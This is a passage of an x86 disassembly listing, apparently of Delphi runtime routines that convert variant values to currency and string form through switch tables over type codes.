CODE XREF: sub_40011024+15j ; DATA XREF: sub_40011024:off_40011040o cmp byte_4001AA10, 0 ; jumptable 40011039 case 1 jz short loc_400110B8 mov dx, 6 mov ax, 1 call sub_4000DBF4 loc_400110B8: ; CODE XREF: sub_40011024+85j xor eax, eax mov dword ptr [esp+18h+var_18], eax mov dword ptr [esp+18h+var_18+4], eax jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_400110C6: ; CODE XREF: sub_40011024+15j ; DATA XREF: sub_40011024:off_40011040o fild word ptr [ebx+8] ; jumptable 40011039 case 2 fmul ds:flt_400113E8 fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_400110D8: ; CODE XREF: sub_40011024+15j ; DATA XREF: sub_40011024:off_40011040o fild dword ptr [ebx+8] ; jumptable 40011039 case 3 fmul ds:flt_400113E8 fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_400110EA: ; CODE XREF: sub_40011024+15j ; DATA XREF: sub_40011024:off_40011040o mov eax, ebx ; jumptable 40011039 cases 4,5 call sub_40010F28 fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_400110FA: ; CODE XREF: sub_40011024+15j ; DATA XREF: sub_40011024:off_40011040o mov eax, [ebx+8] ; jumptable 40011039 case 6 mov dword ptr [esp+18h+var_18], eax mov eax, [ebx+0Ch] mov dword ptr [esp+18h+var_18+4], eax jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_4001110C: ; CODE XREF: sub_40011024+15j ; DATA XREF: sub_40011024:off_40011040o mov eax, ebx ; jumptable 40011039 case 7 call sub_40010F28 fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_4001111C: ; CODE XREF: sub_40011024+15j ; DATA XREF: sub_40011024:off_40011040o mov eax, ebx ; jumptable 40011039 case 8 call sub_40010E0C fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_4001112C: ; CODE XREF: sub_40011024+15j ; DATA XREF: sub_40011024:off_40011040o movsx eax, word ptr [ebx+8] ; jumptable 40011039 case 11 mov [esp+18h+var_10], eax fild [esp+18h+var_10] fmul ds:flt_400113E8 fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_40011147: ; CODE XREF: sub_40011024+15j ; DATA XREF: sub_40011024:off_40011040o movsx eax, byte ptr [ebx+8] ; jumptable 40011039 case 16 mov [esp+18h+var_10], eax fild [esp+18h+var_10] fmul ds:flt_400113E8 fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_40011162: ; CODE XREF: sub_40011024+15j ; DATA XREF: sub_40011024:off_40011040o movzx eax, byte ptr [ebx+8] ; jumptable 40011039 case 17 mov [esp+18h+var_10], eax fild [esp+18h+var_10] fmul ds:flt_400113E8 fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_4001117D: ; CODE XREF: sub_40011024+15j ; DATA XREF: sub_40011024:off_40011040o movzx eax, word ptr [ebx+8] ; jumptable 40011039 case 18 mov [esp+18h+var_10], eax fild [esp+18h+var_10] fmul ds:flt_400113E8 fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_40011198: ; CODE XREF: sub_40011024+15j ; DATA XREF: sub_40011024:off_40011040o mov eax, [ebx+8] ; jumptable 40011039 case 19 mov dword ptr [esp+18h+var_C], eax xor eax, eax mov dword ptr [esp+18h+var_C+4], eax fild [esp+18h+var_C] fmul ds:flt_400113E8 fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_400111B8: ; CODE XREF: sub_40011024+15j ; DATA XREF: sub_40011024:off_40011040o fild qword ptr [ebx+8] ; jumptable 40011039 case 20 add esp, 0FFFFFFF8h fstp [esp+20h+var_20] wait mov eax, ebx call sub_40010EC8 fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_400111D2: ; CODE XREF: sub_40011024+15j ; DATA XREF: sub_40011024:off_40011040o mov eax, [ebx+8] ; jumptable 40011039 case 12 call sub_40011024 fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_400111E3: ; CODE XREF: sub_40011024+15j ; DATA XREF: sub_40011024:off_40011040o mov eax, ebx ; jumptable 40011039 cases 9,13 call sub_40010F28 fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_400111F3: ; CODE XREF: sub_40011024+Fj ; sub_40011024+15j ; DATA XREF: ... mov edx, eax ; default ; jumptable 40011039 cases 10,14,15 sub dx, 100h jz short loc_40011203 dec dx jz short loc_40011213 jmp short loc_40011223 ; --------------------------------------------------------------------------- loc_40011203: ; CODE XREF: sub_40011024+1D6j mov eax, ebx call sub_40010E0C fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_40011213: ; CODE XREF: sub_40011024+1DBj mov eax, ebx call sub_40010F74 fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_40011223: ; CODE XREF: sub_40011024+1DDj test ah, 40h jz loc_400113C8 movzx eax, ax and eax, 0FFFFBFFFh cmp eax, 14h ; switch 21 cases ja loc_400113BB ; default ; jumptable 4001123D cases 0,1,9,10,13-15 jmp ds:off_40011244[eax*4] ; switch jump ; --------------------------------------------------------------------------- off_40011244 dd offset loc_400113BB ; DATA XREF: sub_40011024+219r dd offset loc_400113BB ; jump table for switch statement dd offset loc_40011298 dd offset loc_400112AC dd offset loc_400112C0 dd offset loc_400112C0 dd offset loc_400112D0 dd offset loc_400112E4 dd offset loc_400112F4 dd offset loc_400113BB dd offset loc_400113BB dd offset loc_40011304 dd offset loc_400113AD dd offset loc_400113BB dd offset loc_400113BB dd offset loc_400113BB dd offset loc_40011321 dd offset loc_4001133E dd offset loc_4001135B dd offset loc_40011375 dd offset loc_40011394 ; --------------------------------------------------------------------------- loc_40011298: ; CODE XREF: sub_40011024+219j ; DATA XREF: sub_40011024:off_40011244o mov eax, [ebx+8] ; jumptable 4001123D case 2 fild word ptr [eax] fmul ds:flt_400113E8 fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_400112AC: ; CODE XREF: sub_40011024+219j ; DATA XREF: sub_40011024:off_40011244o mov eax, [ebx+8] ; jumptable 4001123D case 3 fild dword ptr [eax] fmul ds:flt_400113E8 fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_400112C0: ; CODE XREF: sub_40011024+219j ; DATA XREF: sub_40011024:off_40011244o mov eax, ebx ; jumptable 4001123D cases 4,5 call sub_40010F28 fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_400112D0: ; CODE XREF: sub_40011024+219j ; DATA XREF: sub_40011024:off_40011244o mov eax, [ebx+8] ; jumptable 4001123D case 6 mov edx, [eax] mov dword ptr [esp+18h+var_18], edx mov edx, [eax+4] mov dword ptr [esp+18h+var_18+4], edx jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_400112E4: ; CODE XREF: sub_40011024+219j ; DATA XREF: sub_40011024:off_40011244o mov eax, ebx ; jumptable 4001123D case 7 call sub_40010F28 fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_400112F4: ; CODE XREF: sub_40011024+219j ; DATA XREF: sub_40011024:off_40011244o mov eax, ebx ; jumptable 4001123D case 8 call sub_40010E0C fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_40011304: ; CODE XREF: sub_40011024+219j ; DATA XREF: sub_40011024:off_40011244o mov eax, [ebx+8] ; jumptable 4001123D case 11 movsx eax, word ptr [eax] mov [esp+18h+var_10], eax fild [esp+18h+var_10] fmul ds:flt_400113E8 fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_40011321: ; CODE XREF: sub_40011024+219j ; DATA XREF: sub_40011024:off_40011244o mov eax, [ebx+8] ; jumptable 4001123D case 16 movsx eax, byte ptr [eax] mov [esp+18h+var_10], eax fild [esp+18h+var_10] fmul ds:flt_400113E8 fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_4001133E: ; CODE XREF: sub_40011024+219j ; DATA XREF: sub_40011024:off_40011244o mov eax, [ebx+8] ; jumptable 4001123D case 17 movzx eax, byte ptr [eax] mov [esp+18h+var_10], eax fild [esp+18h+var_10] fmul ds:flt_400113E8 fistp [esp+18h+var_18] wait jmp loc_400113E0 ; --------------------------------------------------------------------------- loc_4001135B: ; CODE XREF: sub_40011024+219j ; DATA XREF: sub_40011024:off_40011244o mov eax, [ebx+8] ; jumptable 4001123D case 18 movzx eax, word ptr [eax] mov [esp+18h+var_10], eax fild [esp+18h+var_10] fmul ds:flt_400113E8 fistp [esp+18h+var_18] wait jmp short loc_400113E0 ; --------------------------------------------------------------------------- loc_40011375: ; CODE XREF: sub_40011024+219j ; DATA XREF: sub_40011024:off_40011244o mov eax, [ebx+8] ; jumptable 4001123D case 19 mov eax, [eax] mov dword ptr [esp+18h+var_C], eax xor eax, eax mov dword ptr [esp+18h+var_C+4], eax fild [esp+18h+var_C] fmul ds:flt_400113E8 fistp [esp+18h+var_18] wait jmp short loc_400113E0 ; --------------------------------------------------------------------------- loc_40011394: ; CODE XREF: sub_40011024+219j ; DATA XREF: sub_40011024:off_40011244o mov eax, [ebx+8] ; jumptable 4001123D case 20 fild qword ptr [eax] add esp, 0FFFFFFF8h fstp [esp+20h+var_20] wait mov eax, ebx call sub_40010EC8 fistp [esp+18h+var_18] wait jmp short loc_400113E0 ; --------------------------------------------------------------------------- loc_400113AD: ; CODE XREF: sub_40011024+219j ; DATA XREF: sub_40011024:off_40011244o mov eax, [ebx+8] ; jumptable 4001123D case 12 call sub_40011024 fistp [esp+18h+var_18] wait jmp short loc_400113E0 ; --------------------------------------------------------------------------- loc_400113BB: ; CODE XREF: sub_40011024+213j ; sub_40011024+219j ; DATA XREF: ... mov eax, ebx ; default ; jumptable 4001123D cases 0,1,9,10,13-15 call sub_40010F28 fistp [esp+18h+var_18] wait jmp short loc_400113E0 ; --------------------------------------------------------------------------- loc_400113C8: ; CODE XREF: sub_40011024+202j mov edx, esp mov eax, ebx call sub_40010FD8 test al, al jnz short loc_400113E0 mov eax, ebx call sub_40010F28 fistp [esp+18h+var_18] wait loc_400113E0: ; CODE XREF: sub_40011024+79j ; sub_40011024+9Dj ... fild [esp+18h+var_18] add esp, 14h pop ebx retn sub_40011024 endp ; --------------------------------------------------------------------------- flt_400113E8 dd 1.0e4 ; DATA XREF: sub_40011024+A5r ; sub_40011024+B7r ... ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400113EC proc near ; CODE XREF: sub_400116DC+142p ; sub_400116DC+3A0p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, eax mov eax, ebx call sub_40005008 push eax push 0 push 400h push [ebp+arg_4] push [ebp+arg_0] mov eax, off_4001AF04 mov eax, [eax] call eax mov cx, 8 mov dx, 6 call sub_4000E034 pop ebx pop ebp retn 8 sub_400113EC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40011424 proc near ; CODE XREF: sub_400116DC+15Fp ; sub_400116DC+3BFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, eax mov eax, ebx call sub_40005008 push eax push 0 push 400h push [ebp+arg_4] push [ebp+arg_0] mov eax, off_4001AFC8 mov eax, [eax] call eax mov cx, 8 mov dx, 7 call sub_4000E034 pop ebx pop ebp retn 8 sub_40011424 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4001145C proc near ; CODE XREF: sub_400116DC+19Fp ; sub_400116DC+3EDp ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ebx push esi mov ebx, edx mov esi, eax xor eax, eax push ebp push offset loc_40011514 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ebx call sub_40005008 push eax push 0 push 400h push esi mov eax, off_4001B058 mov eax, [eax] call eax mov cx, 8 mov dx, 0Bh call sub_4000E034 movzx eax, byte_4001AA18 sub al, 1 jb short loc_400114F9 jz short loc_400114B2 dec al jz short loc_400114D3 jmp short loc_400114F4 ; --------------------------------------------------------------------------- loc_400114B2: ; CODE XREF: sub_4001145C+4Ej lea eax, [ebp+var_8] mov edx, [ebx] call sub_40004B0C mov eax, [ebp+var_8] lea edx, [ebp+var_4] call sub_40007A58 mov edx, [ebp+var_4] mov eax, ebx call sub_40005158 jmp short loc_400114F9 ; --------------------------------------------------------------------------- loc_400114D3: ; CODE XREF: sub_4001145C+52j lea eax, [ebp+var_10] mov edx, [ebx] call sub_40004B0C mov eax, [ebp+var_10] lea edx, [ebp+var_C] call sub_400079BC mov edx, [ebp+var_C] mov eax, ebx call sub_40005158 jmp short loc_400114F9 ; --------------------------------------------------------------------------- loc_400114F4: ; CODE XREF: sub_4001145C+54j call sub_4000DC90 loc_400114F9: ; CODE XREF: sub_4001145C+4Cj ; sub_4001145C+75j ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4001151B loc_40011506: ; CODE XREF: sub_4001145C+BDj lea eax, [ebp+var_10] mov edx, 4 call sub_400048A8 retn ; --------------------------------------------------------------------------- loc_40011514: ; DATA XREF: sub_4001145C+12o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40011506 ; --------------------------------------------------------------------------- loc_4001151B: ; CODE XREF: sub_4001145C+B7j ; DATA XREF: sub_4001145C+A5o pop esi pop ebx mov esp, ebp pop ebp retn sub_4001145C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40011524 proc near ; CODE XREF: sub_400116DC+255p ; sub_400116DC+4A4p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx push esi xor ecx, ecx mov [ebp+var_14], ecx mov [ebp+var_18], ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_400115E3 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_10] push eax call sub_4000CDD8 xor eax, eax push ebp push offset loc_400115C1 push dword ptr fs:[eax] mov fs:[eax], esp push 8 push 0 push 400h push ebx lea eax, [ebp+var_10] push eax mov eax, off_4001B064 mov eax, [eax] call eax movzx edx, word ptr [ebx] mov cx, 100h call sub_4000E034 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_18] mov edx, [ebp+var_8] call sub_4000511C mov eax, [ebp+var_18] mov ecx, 7FFFFFFFh mov edx, 1 call sub_40005174 mov edx, [ebp+var_14] mov eax, esi call sub_40004B0C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_400115C8 loc_400115B8: ; CODE XREF: sub_40011524+A2j lea eax, [ebp+var_10] call sub_4000E3D8 retn ; --------------------------------------------------------------------------- loc_400115C1: ; DATA XREF: sub_40011524+2Eo jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_400115B8 ; --------------------------------------------------------------------------- loc_400115C8: ; CODE XREF: sub_40011524+9Cj ; DATA XREF: sub_40011524+8Fo xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_400115EA loc_400115D5: ; CODE XREF: sub_40011524+C4j lea eax, [ebp+var_18] mov edx, 2 call sub_40005020 retn ; --------------------------------------------------------------------------- loc_400115E3: ; DATA XREF: sub_40011524+17o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_400115D5 ; --------------------------------------------------------------------------- loc_400115EA: ; CODE XREF: sub_40011524+BEj ; DATA XREF: sub_40011524+ACo pop esi pop ebx mov esp, ebp pop ebp retn sub_40011524 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400115F0 proc near ; CODE XREF: sub_400116DC+28Dp var_10 = byte ptr -10h push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx push esi mov esi, edx mov ebx, eax lea eax, [ebp+var_10] push eax call sub_4000CDD8 xor eax, eax push ebp push offset loc_40011646 push dword ptr fs:[eax] mov fs:[eax], esp mov edx, ebx lea eax, [ebp+var_10] call sub_4000E700 lea eax, [ebp+var_10] call ds:off_4001F29C lea edx, [ebp+var_10] mov eax, esi call sub_400116DC xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4001164D loc_4001163D: ; CODE XREF: sub_400115F0+5Bj lea eax, [ebp+var_10] call sub_4000E3D8 retn ; --------------------------------------------------------------------------- loc_40011646: ; DATA XREF: sub_400115F0+18o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4001163D ; --------------------------------------------------------------------------- loc_4001164D: ; CODE XREF: sub_400115F0+55j ; DATA XREF: sub_400115F0+48o pop esi pop ebx mov esp, ebp pop ebp retn sub_400115F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40011654 proc near ; CODE XREF: sub_400116DC+4C0p var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE4h push ebx mov [ebp+var_4], edx mov ebx, eax mov eax, [ebp+var_4] test eax, eax jz short loc_4001166B xor edx, edx mov [eax], edx loc_4001166B: ; CODE XREF: sub_40011654+11j lea edx, [ebp+var_C] movzx eax, word ptr [ebx] call sub_40012D98 mov [ebp+var_5], al cmp [ebp+var_5], 0 jz short loc_400116D0 lea eax, [ebp+var_1C] push eax call sub_4000CDD8 xor eax, eax push ebp push offset loc_400116C9 push dword ptr fs:[eax] mov fs:[eax], esp push 100h mov ecx, ebx lea edx, [ebp+var_1C] mov eax, [ebp+var_C] mov ebx, [eax] call dword ptr [ebx+1Ch] mov eax, [ebp+var_4] mov edx, [ebp+var_14] call sub_400048D8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_400116D0 loc_400116C0: ; CODE XREF: sub_40011654+7Aj lea eax, [ebp+var_1C] call sub_4000E3D8 retn ; --------------------------------------------------------------------------- loc_400116C9: ; DATA XREF: sub_40011654+37o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_400116C0 ; --------------------------------------------------------------------------- loc_400116D0: ; CODE XREF: sub_40011654+29j ; sub_40011654+74j ; DATA XREF: ... movzx eax, [ebp+var_5] pop ebx mov esp, ebp pop ebp retn sub_40011654 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400116DC proc near ; CODE XREF: sub_4000E7FC+19p ; sub_400115F0+3Bp ... var_94 = tbyte ptr -94h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov ecx, 0Eh loc_400116E4: ; CODE XREF: sub_400116DC+Dj push 0 push 0 dec ecx jnz short loc_400116E4 push ecx push ebx push esi mov ebx, edx mov esi, eax xor eax, eax push ebp push offset loc_40011C08 push dword ptr fs:[eax] mov fs:[eax], esp movzx eax, word ptr [ebx] movzx edx, ax cmp edx, 14h ; switch 21 cases ja loc_40011945 ; default ; jumptable 4001170F cases 10,14,15 jmp ds:off_40011716[edx*4] ; switch jump ; --------------------------------------------------------------------------- off_40011716 dd offset loc_4001176A ; DATA XREF: sub_400116DC+33r dd offset loc_40011776 ; jump table for switch statement dd offset loc_4001179E dd offset loc_400117B9 dd offset loc_400117D3 dd offset loc_400117F4 dd offset loc_40011815 dd offset loc_40011832 dd offset loc_4001184F dd offset loc_4001192C dd offset loc_40011945 dd offset loc_40011874 dd offset loc_4001191B dd offset loc_4001192C dd offset loc_40011945 dd offset loc_40011945 dd offset loc_4001188F dd offset loc_400118AA dd offset loc_400118C5 dd offset loc_400118E0 dd offset loc_400118FE ; --------------------------------------------------------------------------- loc_4001176A: ; CODE XREF: sub_400116DC+33j ; DATA XREF: sub_400116DC:off_40011716o mov eax, esi ; jumptable 4001170F case 0 call sub_40004884 jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_40011776: ; CODE XREF: sub_400116DC+33j ; DATA XREF: sub_400116DC:off_40011716o cmp byte_4001AA10, 0 ; jumptable 4001170F case 1 jz short loc_4001178C mov dx, 100h mov ax, 1 call sub_4000DBF4 loc_4001178C: ; CODE XREF: sub_400116DC+A1j mov eax, esi mov edx, dword_4001AA14 call sub_400048D8 jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_4001179E: ; CODE XREF: sub_400116DC+33j ; DATA XREF: sub_400116DC:off_40011716o lea edx, [ebp+var_4] ; jumptable 4001170F case 2 movsx eax, word ptr [ebx+8] call sub_40007C98 mov edx, [ebp+var_4] mov eax, esi call sub_400048D8 jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_400117B9: ; CODE XREF: sub_400116DC+33j ; DATA XREF: sub_400116DC:off_40011716o lea edx, [ebp+var_8] ; jumptable 4001170F case 3 mov eax, [ebx+8] call sub_40007C98 mov edx, [ebp+var_8] mov eax, esi call sub_400048D8 jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_400117D3: ; CODE XREF: sub_400116DC+33j ; DATA XREF: sub_400116DC:off_40011716o fld dword ptr [ebx+8] ; jumptable 4001170F case 4 add esp, 0FFFFFFF4h fstp [esp+94h+var_94] wait lea eax, [ebp+var_C] call sub_40008E14 mov edx, [ebp+var_C] mov eax, esi call sub_400048D8 jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_400117F4: ; CODE XREF: sub_400116DC+33j ; DATA XREF: sub_400116DC:off_40011716o fld qword ptr [ebx+8] ; jumptable 4001170F case 5 add esp, 0FFFFFFF4h fstp [esp+94h+var_94] wait lea eax, [ebp+var_10] call sub_40008E14 mov edx, [ebp+var_10] mov eax, esi call sub_400048D8 jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_40011815: ; CODE XREF: sub_400116DC+33j ; DATA XREF: sub_400116DC:off_40011716o push dword ptr [ebx+0Ch] ; jumptable 4001170F case 6 push dword ptr [ebx+8] lea eax, [ebp+var_14] call sub_400113EC mov edx, [ebp+var_14] mov eax, esi call sub_40004B0C jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_40011832: ; CODE XREF: sub_400116DC+33j ; DATA XREF: sub_400116DC:off_40011716o push dword ptr [ebx+0Ch] ; jumptable 4001170F case 7 push dword ptr [ebx+8] lea eax, [ebp+var_18] call sub_40011424 mov edx, [ebp+var_18] mov eax, esi call sub_40004B0C jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_4001184F: ; CODE XREF: sub_400116DC+33j ; DATA XREF: sub_400116DC:off_40011716o lea eax, [ebp+var_1C] ; jumptable 4001170F case 8 push eax mov eax, [ebx+8] mov ecx, 7FFFFFFFh mov edx, 1 call sub_40005174 mov edx, [ebp+var_1C] mov eax, esi call sub_40004B0C jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_40011874: ; CODE XREF: sub_400116DC+33j ; DATA XREF: sub_400116DC:off_40011716o lea edx, [ebp+var_20] ; jumptable 4001170F case 11 movzx eax, word ptr [ebx+8] call sub_4001145C mov edx, [ebp+var_20] mov eax, esi call sub_40004B0C jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_4001188F: ; CODE XREF: sub_400116DC+33j ; DATA XREF: sub_400116DC:off_40011716o lea edx, [ebp+var_24] ; jumptable 4001170F case 16 movsx eax, byte ptr [ebx+8] call sub_40007C98 mov edx, [ebp+var_24] mov eax, esi call sub_400048D8 jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_400118AA: ; CODE XREF: sub_400116DC+33j ; DATA XREF: sub_400116DC:off_40011716o lea edx, [ebp+var_28] ; jumptable 4001170F case 17 movzx eax, byte ptr [ebx+8] call sub_40007C98 mov edx, [ebp+var_28] mov eax, esi call sub_400048D8 jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_400118C5: ; CODE XREF: sub_400116DC+33j ; DATA XREF: sub_400116DC:off_40011716o lea edx, [ebp+var_2C] ; jumptable 4001170F case 18 movzx eax, word ptr [ebx+8] call sub_40007C98 mov edx, [ebp+var_2C] mov eax, esi call sub_400048D8 jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_400118E0: ; CODE XREF: sub_400116DC+33j ; DATA XREF: sub_400116DC:off_40011716o mov eax, [ebx+8] ; jumptable 4001170F case 19 xor edx, edx push edx push eax lea eax, [ebp+var_30] call sub_40007D84 mov edx, [ebp+var_30] mov eax, esi call sub_400048D8 jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_400118FE: ; CODE XREF: sub_400116DC+33j ; DATA XREF: sub_400116DC:off_40011716o push dword ptr [ebx+0Ch] ; jumptable 4001170F case 20 push dword ptr [ebx+8] lea eax, [ebp+var_34] call sub_40007D84 mov edx, [ebp+var_34] mov eax, esi call sub_400048D8 jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_4001191B: ; CODE XREF: sub_400116DC+33j ; DATA XREF: sub_400116DC:off_40011716o mov eax, [ebx+8] ; jumptable 4001170F case 12 mov edx, eax mov eax, esi call sub_400116DC jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_4001192C: ; CODE XREF: sub_400116DC+33j ; DATA XREF: sub_400116DC:off_40011716o lea edx, [ebp+var_38] ; jumptable 4001170F cases 9,13 mov eax, ebx call sub_40011524 mov edx, [ebp+var_38] mov eax, esi call sub_400048D8 jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_40011945: ; CODE XREF: sub_400116DC+2Dj ; sub_400116DC+33j ; DATA XREF: ... mov edx, eax ; default ; jumptable 4001170F cases 10,14,15 sub dx, 100h jz short loc_40011955 dec dx jz short loc_40011964 jmp short loc_4001197D ; --------------------------------------------------------------------------- loc_40011955: ; CODE XREF: sub_400116DC+270j mov eax, esi mov edx, [ebx+8] call sub_400048D8 jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_40011964: ; CODE XREF: sub_400116DC+275j lea edx, [ebp+var_3C] mov eax, ebx call sub_400115F0 mov edx, [ebp+var_3C] mov eax, esi call sub_400048D8 jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_4001197D: ; CODE XREF: sub_400116DC+277j test ah, 40h jz loc_40011B91 movzx eax, ax and eax, 0FFFFBFFFh cmp eax, 14h ; switch 21 cases ja loc_40011B7B ; default ; jumptable 40011997 cases 0,1,9,10,13-15 jmp ds:off_4001199E[eax*4] ; switch jump ; --------------------------------------------------------------------------- off_4001199E dd offset loc_40011B7B ; DATA XREF: sub_400116DC+2BBr dd offset loc_40011B7B ; jump table for switch statement dd offset loc_400119F2 dd offset loc_40011A0F dd offset loc_40011A2B dd offset loc_40011A4E dd offset loc_40011A71 dd offset loc_40011A90 dd offset loc_40011AAF dd offset loc_40011B7B dd offset loc_40011B7B dd offset loc_40011AC0 dd offset loc_40011B6D dd offset loc_40011B7B dd offset loc_40011B7B dd offset loc_40011B7B dd offset loc_40011ADD dd offset loc_40011AFA dd offset loc_40011B17 dd offset loc_40011B34 dd offset loc_40011B51 ; --------------------------------------------------------------------------- loc_400119F2: ; CODE XREF: sub_400116DC+2BBj ; DATA XREF: sub_400116DC:off_4001199Eo lea edx, [ebp+var_40] ; jumptable 40011997 case 2 mov eax, [ebx+8] movsx eax, word ptr [eax] call sub_40007C98 mov edx, [ebp+var_40] mov eax, esi call sub_400048D8 jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_40011A0F: ; CODE XREF: sub_400116DC+2BBj ; DATA XREF: sub_400116DC:off_4001199Eo lea edx, [ebp+var_44] ; jumptable 40011997 case 3 mov eax, [ebx+8] mov eax, [eax] call sub_40007C98 mov edx, [ebp+var_44] mov eax, esi call sub_400048D8 jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_40011A2B: ; CODE XREF: sub_400116DC+2BBj ; DATA XREF: sub_400116DC:off_4001199Eo mov eax, [ebx+8] ; jumptable 40011997 case 4 fld dword ptr [eax] add esp, 0FFFFFFF4h fstp [esp+94h+var_94] wait lea eax, [ebp+var_48] call sub_40008E14 mov edx, [ebp+var_48] mov eax, esi call sub_400048D8 jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_40011A4E: ; CODE XREF: sub_400116DC+2BBj ; DATA XREF: sub_400116DC:off_4001199Eo mov eax, [ebx+8] ; jumptable 40011997 case 5 fld qword ptr [eax] add esp, 0FFFFFFF4h fstp [esp+94h+var_94] wait lea eax, [ebp+var_4C] call sub_40008E14 mov edx, [ebp+var_4C] mov eax, esi call sub_400048D8 jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_40011A71: 